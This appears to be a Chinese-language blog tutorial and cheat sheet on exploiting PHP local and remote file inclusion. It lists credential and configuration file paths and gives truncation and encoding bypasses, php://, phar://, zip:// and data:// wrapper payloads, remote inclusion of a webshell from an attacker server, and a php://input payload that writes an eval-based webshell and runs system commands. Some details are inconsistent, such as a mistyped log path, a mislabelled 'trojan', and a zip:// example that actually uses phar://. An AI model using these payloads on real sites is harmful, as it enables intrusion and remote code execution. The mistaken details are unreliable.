漏洞原理
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码
两种类型
-
本地文件包含
-
远程文件包含
在默认情况下,allow_url_include是禁用的【需要开启】
危险函数
include、require、include_once、require_once
include、require区别
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
include_once,require_once区别
与前两个的不同之处在于这两个函数只包含一次
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
本地文件包含
攻击者通过phpinfo()信息泄露或者猜测能获取到文件存放的位置
日志投毒/SSH投毒
#日志投毒
/var/loa/apache2/access.log
#SSH投毒
/var/log/auth.log
条件:文件必须有读的权限,否则无法投毒
session文件包含漏洞
分析
通过把恶意代码写入session文件中,之后访问该文件即可获得shell
文件位置
- phpinfo探针获取
- 猜解文件文件位置【linux默认/var/lib/php/session】
文件名称
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取
写入恶意代码
<?php
session_start();
$cmd=$_GET['cmd'];
$_SESSION["username"]=$cmd;
?>
利用
http://xxx/session.php?cmd=<?php phpinfo();?>
远程文件包含
条件:PHP的配置文件allow_url_fopen和allow_url_include设置为ON
绕过姿势
编码绕过
当服务端对…/和./进行过滤,可以通过编码进行绕过(url编码、URL二次编码、容器/服务器的编码方式等)。
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
http://xxx/file.php?filename=../../../../../etc/passwd%00
路径长度截断
利用条件: php版本<5.2.8。
一直重复目录字符串(./),在linux下4096字节时会达到最大值,在window下是256字节。windows在文件名后加/. 或 .都是可以的
http://xxx/file.php?filename=../../../../../../../../../../../../../../etc/passwd
点号截断
条件:windows OS,点号需要长于256
http://xxx/file.php?filename=test.txt..................................
问号、井号、空格截断
针对服务器添加后缀,可以在后面添加?和#。
http://xxx/file.php?filename=http://VPSIP/webshell.php%23
# %23为#编码
Base64编码
有些时候,当你无法读取PHP文件内容时,你也可以通过php协议通过base64编码进行输出:
php://filter/read=convert.base64-encode/resource=/etc/passwd
PHP伪协议
phar协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
用法
?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤
//1-写一个一句话木马文件shell.php,
<?php
$filename = $_GET['filename'];
include($filename);
?>
//2-用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
//之所以改成png后缀,因为phar协议不管后缀是什么,都会当做压缩包来解压。而且也可以绕过一定的后缀限制
//3-调用(猜解文件路径,或者通过phpinfo()查看)
//相对路径:
http://target.com/index.php?file=phar://shell.png/shell.php
//绝对路径:
http://target.com/index.php?file=phar:///var/www/html/shell.png/shell.php
zip://伪协议
用法
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。
条件
PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
步骤
//1-写一个一句话木马文件shell.php,
<?php
$filename = $_GET['filename'];
include($filename);
?>
//2-用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
//之所以改成png后缀,因为phar协议不管后缀是什么,都会当做压缩包来解压。而且也可以绕过一定的后缀限制
//3-调用(猜解文件路径,或者通过phpinfo()查看)
//绝对路径:
http://target.com/index.php?file=phar:///var/www/html/shell.png%23shell.php
file://伪协议
访问本地文件系统,读取到文件的内容
http://target.com/index.php?file=file://etc/passwd
PHP://伪协议
php://filter(本地磁盘文件进行读取)
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
http://target.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
php://input
条件
enctype=“multipart/form-data” 的时候 php://input 是无效的。
读取POST数据
碰到目标代码中存在file_get_contents()就要想到用php://input绕过
//目标代码存在file_get_contents()
<?php
echo file_get_contents("php://input");
?>
写入木马
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
//目标代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
//写入木马<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
http://target.com/index.php?file=php://input
//post 内容
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
//调用木马
http://target.com/index.php/shell.php
cmd=phpinfo()
命令执行
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30)
//目标代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
http://target.com/index.php?file=php://input
//post 内容
<?PHP system('whoami');?>
data://伪协议
条件:
- php版本 <= php5.2
- allow_url_fopen = On
- allow_url_include = On
和php伪协议的input类似,碰到file_get_contents()来用
//目标代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
http://target.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
//此处PD9waHAgcGhwaW5mbygpOw==为<?php phpinfo();base64编码结果
//不需要<?php phpinfo();? >编码,只需对<?php phpinfo();编码即可
6711

被折叠的 条评论
为什么被折叠?



